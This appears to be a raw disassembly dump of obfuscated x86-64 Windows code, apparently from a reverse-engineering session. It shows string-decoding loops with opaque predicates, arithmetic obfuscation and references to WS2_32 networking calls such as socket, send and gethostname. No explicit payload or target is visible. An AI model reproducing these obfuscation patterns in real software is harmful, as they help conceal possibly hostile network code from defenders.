lea edi, [r10 + r9]
sub dil, 0x20
dec r12
jmp 0x140045e3e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400458d1
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140045d19
mov byte [rbp + r12 + 0x30], dil
jmp 0x140045e3e
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140045d5a
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x6e]
jmp 0x140045dc4
add r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7d
jmp 0x140045e32
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
jmp 0x140045d95
add r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
dec r12
jmp 0x140045e3e
sub r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
inc r8
dec r12
jmp 0x140045e3e
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
sub r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3d
add r9b, r10b
mov byte [rbp + r12 + 0x30], r9b
inc r8
dec r12
jmp 0x140045e3e
movzx r9d, r12b
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
sub r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x4d
add r9b, dil
add r9b, r10b
mov byte [rbp + r12 + 0x30], r9b
jmp 0x140045d92
lea ecx, [r12 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x140045e3e
lea rcx, [r12 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
movzx r9d, r12b
add r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x29
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r12 + 0x30], al
inc r8
add rax, r8
sub r12, rax
lea edx, [r12 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r12 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140045e32
lea rcx, [r12 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
movzx eax, byte [rbp + r12 + 0x30]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0xc255290e549521ad
movabs r14, 0x50541f645013ebbb
jmp 0x140045603
sub r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x27
movabs rsi, 0xc255290e549521ad
movabs r14, 0x50541f645013ebbb
jmp 0x140045600
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4f
jmp 0x1400455d2
lea rdx, [rbp + 0x172a06c]
jmp 0x140045ebe
lea rdx, [rbp + 0x47c219]
jmp 0x140045ebe
lea rdx, [rbp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140045ee5
lea rcx, [rbp + 0x190]
call fcn.140040cc0
lea r13, [rbp + 0x190]
mov byte [rbp + 0xd0], 9
mov byte [rbp + 0xd1], 7
mov byte [rbp + 0xd2], 2
mov byte [rbp + 0xd3], 4
mov byte [rbp + 0xd4], 0x19
mov byte [rbp + 0xd5], 0x1c
mov byte [rbp + 0xd6], 0x46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd7], xmm0
mov dword [rbp + 0xe7], eax
mov byte [rbp + 0xeb], al
movabs r14, 0x9878d75d9f672b4c
movabs r12, 0xfa5c34d41d03d87c
movabs r15, 0xc96a8618de3581e4
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x140046a2a
movzx r10d, byte [rbp + r11 + 0xd0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140046a21
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140045fcc
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x14
jmp 0x140045ff9
je 0x1400469b2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140046957
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400468ff
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400468b8
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140046a18
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140046031
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046072
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004689c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140046879
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004685e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004683e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004680f
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004656f
nop
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140046550
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140046527
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140046501
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400464e6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400464c9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400464ac
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004648d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004645b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140046080
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400469fb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400469de
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140046241
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140046222
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140046203
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004640e
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400463c9
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004638d
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140046365
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 2]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140046333
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140046316
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400462fb
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400462de
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400462c1
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400462a2
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14004627c
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140046261
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140046080
lea rbx, [r8 + 5]
lea r8, [rbx + 1]
jmp 0x140046080
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046072
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046000
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140045fa0
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400468d2
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140045f83
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046919
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14004693b
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14004693e
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x1400467de
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14004696d
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
mov byte [rbp + r11 + 0xd0], dil
inc r11
jmp 0x140045f83
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
cmp r8, 0x28
jb 0x14004637d
lea ecx, [r9 + 0x48]
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400468d2
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
cmp rbx, 4
jae 0x1400467ab
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140046721
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x1400463a3
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
lea rax, [r8 + rbx]
cmp rax, 5
je 0x1400467cd
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140046674
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400463df
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400467de
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14004693e
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x14004693b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140046919
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140045f83
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140045f83
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400468d2
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140046593
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x140046424
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400465cb
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400465f3
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400467de
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004661c
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004693b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140046648
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x140045f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046424
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400468d2
jne 0x140046695
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400468d2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400466c1
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x140045f83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400466e5
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140046919
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400463df
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004675c
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046781
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400467de
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400463a3
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14004693e
lea edx, [r9 - 0x20]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r10b
jmp 0x140046919
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x48]
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5c
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xd0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14004696d
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004693e
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140046919
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
dec r11
inc r11
jmp 0x140045f83
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400468d2
movzx r9d, r11b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0xc
add r9b, r10b
mov byte [rbp + r11 + 0xd0], r9b
inc r8
dec r11
inc r11
jmp 0x140045f83
movzx r9d, r11b
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x34
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0xd0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140045f83
lea rcx, [r11 + r12]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, cl
mov byte [rbp + r11 + 0xd0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140045f83
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140045f80
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140045f70
lea rdx, [rbp + 0x15117e0]
jmp 0x140046a31
lea rdx, [rbp + 0x178432c]
jmp 0x140046a31
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x1d0]
call fcn.140042a40
nop
mov rdx, r13
mov rcx, rax
call fcn.1400445c0
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0xa0], 0x1b
mov byte [rbp + 0xa1], 0xf0
mov byte [rbp + 0xa2], 0xe4
mov byte [rbp + 0xa3], 0xf9
mov byte [rbp + 0xa4], 0xf5
mov byte [rbp + 0xa5], 0xfd
mov byte [rbp + 0xa6], reloc.WS2_32.dll_send
mov byte [rbp + 0xa7], 0xf4
mov byte [rbp + 0xa8], 0xf8
mov byte [rbp + 0xa9], 0xe8
mov byte [rbp + 0xaa], 0xf6
mov byte [rbp + 0xab], 0xfe
mov byte [rbp + 0xac], 0xef
mov byte [rbp + 0xad], gethostname
mov byte [rbp + 0xae], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xaf], socket
mov byte [rbp + 0xb0], reloc.WS2_32.dll_send
mov byte [rbp + 0xb1], 0x9d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb2], xmm0
mov dword [rbp + 0xc2], eax
mov word [rbp + 0xc6], ax
movabs r14, 0xae5df3e3f9277ef2
movabs r12, 0xc491ab3bd014789e
movabs r15, 0xb19dbabeb767cd6
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x28
jae 0x14004769e
movzx r10d, byte [rbp + r11 + 0xa0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140047695
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140046b6c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x62
jmp 0x140046b99
je 0x140047620
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047593
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140047572
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004754e
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14004768c
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x140046bce
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046c10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140047504
cmp rbx, rcx
je 0x1400474de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047483
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140047463
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140047434
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004716d
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004714e
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140047128
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140047105
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400470e6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400470c6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400470a9
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004708e
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004706e
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140047051
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140046c20
lea rbx, [r8 + 0x40]
lea r8, [rbx + 6]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004766c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004764f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140046e15
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140046df6
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140046dd7
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140046ffe
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140046fb5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140046f79
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140046f4e
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140046c20
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140046f31
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140046f14
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140046ef9
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140046ed9
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140046eb9
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140046e9a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140046e77
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140046e51
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140046e32
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140046c20
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x41]
jmp 0x140046c20
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046c10
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046ba0
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x140046b40
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004751e
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
inc r8
dec r11
inc r11
jmp 0x140046b23
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x140046b23
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004749d
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400474c2
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400474c5
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x1400475ac
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
jmp 0x1400475d9
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140047635
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x140046b23
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
cmp r8, 6
jb 0x140046f69
lea edx, [r9 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14004751e
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp rbx, 2
jae 0x1400473f6
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x14004733a
lea edx, [r9 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140046f8f
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x140047412
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140047245
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046fcb
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140047635
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400475d9
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400475ac
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400474c5
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400474c2
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004749d
sub r9b, 0x3c
movzx eax, r9b
